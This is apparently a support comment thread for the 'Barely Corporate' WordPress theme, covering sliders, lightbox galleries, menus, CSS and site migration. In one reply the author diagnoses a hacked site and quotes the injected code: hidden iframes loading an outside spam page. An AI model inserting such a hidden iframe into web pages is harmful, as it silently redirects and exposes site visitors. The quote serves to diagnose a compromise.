I encountered an issue where Barely Corporate froze 2 phones that are operating on the Ice Cream Sandwich platform. An HTC and a Samsung. Do you know of any conflicts that would cause this?

I apologize, but I’d have no idea on that one.

Is there anyway to turn off the transparency in the 3d carousel? I’ve looked at the css and can’t seem to locate that attribute.

Thanks in advance!

Hello,

I’m honestly not sure on that one. It’s not done with any CSS . For this slider type, we’re using the “Roundabout” jQuery plugin, and this is just default usage of it. If you use your browsers developer inspector, you can see that the opacity of these items is being set by the javascript as the slider animates around.

You can find Roudabout docs here: http://fredhq.com/projects/roundabout

I’m not sure if they have some sort of param you can pass into its jQuery function to modify this. But if they do, you can find the PHP function that setups the call to this this javascript function in /framework/frontend/functions/sliders.php. You could copy the function to your Child theme to edit it.

Hello,

I bought this theme: http://themeforest.net/item/barely-corporate-responsive-wordpress-theme/93069

I need to figure out two things:

1) How can make make the buttons bigger with code?

2) How can I add an image or text to the right side of the header?

Thanks in advance

ThemeBlvd

Hello,

1) For CSS changes, it’s a good idea to use a tool like firebug or Google Chrome’s built-in developer tools to locate them and then put the edits either in your child theme or in the “Custom CSS ” option on your theme options page.

Also, here’s a helpful tutorial on how to use Firebug – http://vimeo.com/20917974. The only thing I’d suggest not doing is actually making edits to the theme’s CSS files, as it shows at the end of that video. However, the video serves as a good introduction to Firebug and how it can be used to find what CSS is effecting certain areas of your site without ever digging around in any files.

2) You can hook custom content there with the action “themeblvd_header_addon”—http://www.wpjumpstart.com/tutorial/primary-framework-action-hooks/

How can I use the “home” icon in the top tabs for this theme (like in live preview). If I set a menu item to home page I’m not able to add a CSS class to style the button the way the live preview does.

Many thanks.

Hello,

You just need to add the class “home” to whichever menu item you’d like to use the house.

If you don’t see the “CSS-class” field, it just means you have it hidden. Under Appearance > Menus, click the “Screen Options” tab at the top right corner of the screen and select for the CSS class field to show on your menu items.

I think I am doing something wrong with the lightbox facility as it just brings up the image without the lightbox container.

This is what I am using:

<a href="http://www.lodgings.net/gb/portfolio/257566_1.jpg" rel="themeblvd_lightbox"><img src="http://www.lodgings.net/fr/portfolio/small/201945_1.jpg" /></a>

Any obvious mistakes?

Please ignore above request, it appears that I had two double quotes in the “rel” that were not visible in my code.

ThemeBlvd

Awesome, glad you figured it out.

Hi,

I was wondering how to have multiple images in a lightbox?

I watched your tutorial on Vimeo (http://vimeo.com/32560047) on how to setup a light box and that was successful. But I would like to add additional images to that particular lightbox.

BTW , your tutorial videos are great!

Thanks, DC

Hello,

The way prettyPhoto is designed, having multiple images in a lightbox means you have multiple images on the current page you’re viewing, and you want to group them into a gallery.

http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/

When using prettyPhoto, you group images by adding a common ID in brackets to the end of the selector. Example:

<a href="image_1.jpg" rel="themeblvd_lightbox[gallery-example]"></a>
<a href="image_2.jpg" rel="themeblvd_lightbox[gallery-example]"></a>
<a href="image_3.jpg" rel="themeblvd_lightbox[gallery-example]"></a>

If you actually insert a classic WordPress gallery, this will be done for you. Here’s a video on that: https://vimeo.com/16686184

Thanks! So this will give me something that looks like the sample portfolio page in the Barely Corporate live preview? Where you have the page full of thumbnails that open up into small lightbox galleries.

I will give this a try!

ThemeBlvd

No, that would be a post grid. To create that, you’d create a page and apply the post grid page template. Checkout the video series in your documentation called something like “The Classic Portfolio”

Hi,

What I am trying to do is have image to the left and wrap text around it. When that image is clicked, the lightbox appears and has more than one image contained in it.

Sorry if I sound like I’m repeating myself or saying the same thing in different ways. I am a novice to wordpress and HTML .

Thanks, DC

ThemeBlvd

prettyPhoto is a 3rd-party jQuery plugin, and it’s not designed to do what you’re describing. See my original response; that is how prettyPhoto groups items on the page together in the lightbox. If you wanted to do what you’re describing, you’d have to rig up something custom that hides items on the page you wanted to show up in the lightbox only.

Something is amiss with the list shortcode, but I’m not sure what. I don’t believe it was doing this a couple weeks ago, but today I’ve noticed that before each list, there’s an extra little box with a little check-mark inside it – see this page. In between, I used my BackupBuddy plugin to migrate the site to a different server – did that break something?

Thanks!

ThemeBlvd

Hello,

This is from some plugin you’re using that incorporates Twitter Boostrap. The theme uses a class “icon-list” that it also uses, and that’s why you’re getting this result.

I think this is my last question. I’m using this theme as a photographer portfolio and my client doesn’t want text below her photos. The text is pulling from the post titles. Any way to turn it off or hide it?

—Nevermind. Figured it out. To anyone also wondering, a couple ‘display:none’s will take care of it.

h2.entry-title {display:none;} /* for the gallery pages / .scroller-header {display:none;} / for the content scroller / .scroller-content {display:none;} / for the content scroller */

ThemeBlvd

You could also copy content-grid.php (the simple file that sets up each post in a post grid) to your Child theme and remove the items you don’t want in there.

Hi,

How do I adjust the size of the full-width slider? No matter what I do, the full width image slider images are quite short and wide in shape.

I seek to place a full width image slider in the content area of a page with a sidebar; but want the images to appear at their native size ratio.

My images are 4/3 ratio, landscape format, and the content column is 582 pixels wide; and so I need a full column width image slider whose images show at 582×436 pixels.

Again, How do I adjust the shape of the full width image slider images?

ThemeBlvd

Hello,

Because there are so many theoretical places you could put a slider in an infinite amount of sizes with this theme, the way we’ve set it up is to designate one crop size used for all full-width slides. That size then gets scaled down in the browser when you view your site to accomodate where ever you may place the slider.

This size is listed over on the Item Details page for this product and is 922×326. WordPress cannot crop images larger. So, this means whatever image you upload for your full-width slides must be at least 922×326.

What you’re doing is uploading a smaller image that WordPress cannot make the crop size with, and so when the slider is displayed, it’s just taking the default image size and sticking it in there. —Make sense?

Thank you for the reply, but…

I have uploaded an image that is 960(w) x 720(h)—which is a 4:3 size ratio. This is the size ratio that I want the full width slider to display.

(I’m pretty sure from your answer, that the full width slider will respond to the actual width of the containing element when viewed in the website.)

If I select “full width” in the image slider, the uploaded image gets cropped to 922×326 (as you explained) which is a 4:1.4 size ratio. But I want the image to appear at the original size ratio of 4:3.

The 922×326 crop may be good for a banner image, but I would like to have a full width slider, which displays its images at the original size ratio (in this case, 4:3).

Can you tell me where to adjust the crop ratio for full width slider images?

Thanks!

ThemeBlvd

You’d just have to adjust the crop size used for full-width slides.

Question:

How would I make a customized Category Archive template?

I wish to place an image above the Post List for a single category only.

To clarify;

I can add a category page to my main nav menu using the APPEARANCE > MENUS section.

But I’d like to add an image above the column of posts listed on that category page.

So, how do I make, and assign, a different template for this type of page?

Thank you in advance for your answer.

ThemeBlvd

So, you just one one category that has this image at the top? You could just create a custom layout in the Builder that lists out posts for a specific category and has an image at the top in a content element. Apply the layout to a page, and link to that page, opposed to the true category archive.

Another approach would be just to hook a custom function from your Child theme to “themeblvd_content_top” and use WordPress conditionals to check that it’s that specific category before displaying whatever HTML content.

function my_content_top(){
     if( is_category( 'whatever' ) ){
           // echo whatever HTML...
     }
}
add_action( 'themeblvd_content_top', 'my_content_top' );

Hey there, having some issues with the slider API .

I Added a custom “Post ID” element to the slider, so that users can choose a post from a list of the last 15 posts to associate that slide with. Everything seemed to be going fine, added the options and selector in under slider_blvd_edit_slide() as well as making slider_blvd_slide_value() return the value if it exists.

Unfortunately, although the variable is passed successfully to the homepage (And it looks like an integer), trying to use Wordpress’s get_post() function with the variable it returns doesn’t work. I’m looping through the slides with the following code:
foreach($slides as $slide)
{
  print_r($slide);
  $post = get_post($slide['elements']['post_id'];
  print_r($post);
}

The reason it doesn’t work is because although it looks like an integer, gettype($slide['elements']['post_id']) returns NULL . Any thoughts on how to make it return what it’s supposed to instead?

ThemeBlvd

I think the part you’re missing is the actual sanitization of everything when you save your slider.

When a slider is saved, the values are all sanitized down to specifically what the slider is looking for. So if I’m following what you’re saying you can’t just add new random items to the form of the slides and have them save to the slider—this wouldn’t be secure. You’d need to actually edit the sanitization, which would be the function slider_blvd_ajax_save_slider found in this file:

/framework/admin/modules/sliders/sliders-ajax.php

Because right now you’ve got your “post_id” item in your form being submitted, but before the data is stored in your WordPress database, there’s nothing gathering this “post_id” item to approve it and pass it through and save it. So, it’s just being skipped over, which is why it’s being returned as NULL I ’m assuming—because it’s not actually saving in the first place.

I cannot figure out what is going on with my site. People keep telling me it is redirecting them to spam sites. When I load in Google Chrome it says “waiting for… ” and all these weird domain names. The layout looks all screwy on the homepage, and I’m not sure what is up. I’m on a Mac running Lion and only worked with your files. I’m not sure what the problem is, but I’m hoping you can help.

Looks like your site has been hacked. If you view the source of your site, you can see the code you’re describing right at the top before everything:

<iframe width="10" height="10" style="visibility:hidden;position:absolute;left:0;top:0;" src="http://click.clickspro.org/feed/frames.php?uid=56&frames=4"></iframe><iframe width="10" height="10" style="visibility:hidden;position:absolute;left:0;top:0;" src="http://click.clickspro.org/feed/frames.php?uid=56&frames=4"></iframe>

Notice that if you follow that source URL for the iframe being included, you can actually see the message—“Please wait…..”

This is obviously has nothing to do with my theme. And because it’s inserted at the top, it’s possible it could be header.php that was breached, but it’s also possible it could be literally any file in your WordPress install that’s outputting this. I’d contact your web host.

Hi there, I’m trying to get all sub menus for each section of my site to remain visible(not hide on mouse out) – when the user is visiting any of the child pages(or the parent page) within a section. I can’t do this via the style sheet(even using !important) as the visibility is set inline via some javascript or some function within the actual theme.

I’m curious if someone can point me to some code that I could inject within my child theme’s function.php file that could keep the sub menu of a visited parent visible(or any children pages of the parent) when the user is visiting a particular section?

Hope that makes sense. Thanks!

Hello,

I apologize for the inconvenience, but for support, you must be logged into the account in which you’ve purchased the theme with.

http://themeblvd.com/support/#section-2

I can tell you though that’s there’s not going to be any code snippet I can provide you that will do what you’re asking exactly, but maybe we can discuss some more practical approaches to what you’re trying to accomplish in general.

Thanks so much for responding! As a contractor working with “Barely Corporate”, I don’t presently have access to the account from which the theme was originally purchased but and in communication with the company to be able to gain access to be able to discuss this further with you. I’m definitely interested in hearing what practical approaches or advice you might have on accomplishing this sub menu visibility. Thanks again, and I look forward to chatting with you soon via the proper channel. Sincerely, ~Jason

Hello there, a couple days ago I requested some information (as “Jasonswilow”) about making the sub-navigations remain visible while the user is visiting a parent/child page section(there are 3 sections on my site that have drop navs, and need this effect: http://s4917.sites.pressdns.com/).

So I’ve logged in through the theme purchaser’s account to ask for help, per your requested – to that, you mentioned you had some potential solutions? Again, unfortunately I’m unable to control this visibility through the stylesheet since the visibility code for the drop nav’s is being output inline(rather persistently, I might add).

I’m open to your suggestions on how I might achieve this effect for the sub navigations. Thanks!

ThemeBlvd

Hello,

Ok, now that I’m seeing the design of your site, I understand what you’re going for a little better. This will involve CSS and javascript customizations.

1) In order for this to work, I think you’d need to disable the javascript function all together. So, first you need to get the theme’s main javascript file into your control so you can edit it.

See “Example #2” here: http://dev.themeblvd.com/tutorial/overriding-a-framework-javascript-file/

Now in this file you need to comment out or remove the line that calls the “superfish” function. —And now your menu will work only on CSS .

2) Now that it’s just CSS , you can play with things a little more. Visibility will no longer be a factor because that’s just how the superfish plugin’s javascript fades it in in an out. The default CSS though is reliant on just the actual position of the submenus.

When not hovered the position is set like top:-999em so it’s off the screen. Then when you hover over the button, it changes the position with CSS to be top:0—And so that’s all that’s really happening once you factor out the javascript effects.

This is default CSS that positions the menu on HOVER only:

ul.sf-menu li li:hover ul,
ul.sf-menu li li li:hover ul,
ul.sf-menu li li li.sfHover ul { 
    top:0;
}

So you could theoretically apply that same method to utilizing classes that are present from WordPress’s menu function like “current_page_parent” and “current-menu-item”.

ul.sf-menu li.current_page_parent li ul,
ul.sf-menu li.current-menu-item li ul { 
    top:0;
}

I don’t know if that will actually work or not, just making it up.

Default-user

Hi, thanks so much for replying! Would you happen to know which function in condensed – I have no idea where to begin and end the comment. Once I get the superfish function to stop working, I believe the method you mentioned of using straight CSS to control the dropnavs should work.

ThemeBlvd

I think the confusion is you’re probably copying the “themeblvd.js” file to your Child theme which is minified. It would probably be easier to copy “themeblvd-dev.js” (which sits in the same folder of the theme not technically being used) to your Child theme and register that one. This is just the uncompressed version of the same file.

Then this is specifically the line you want to comment out or remove:

$('ul.sf-menu').superfish();
Default-user

Thanks for the clarification – that worked! I’ve been experimenting with the .css and have so far had luck with absolute css paths to the pages: .page-id-311 li#menu-item-312 ul.sub-menu{top: 47px} – seems to be working for my site…

Hi,

I’ve just moved my site from localhost (on MAMP ) to my live server following your method (http://www.jasonbobich.com/web-design/moving-wordpress-to-a-new-server/). Everything worked out fine except my images and adjustments I made to theme arn’t loading. It currently has the base version of barely corporate. All of my text is there but nothing else is loading properly.

Here is the link to my site: http://www.hhns.ca/

Hello,

If you made the transfer and your theme settings didn’t transfer, it means you messed up on step #2 in that article. Did you use this tool when changing the URL ’s in your transferred database?

http://interconnectit.com/124/search-and-replace-for-wordpress-databases/

If not, it means you will have lost those settings in the transfer, and you have to re-set those things up.

I did miss that step. By re-set those settings you mean re-build everything I’ve lost? Will I have to do anything to my SQl files?

Looks like you got it. —But all I meant was either you can wipe your new database and do the transfer again correctly without messing up the serialized data or just re-set up everything manually from the WP admin on your new site.
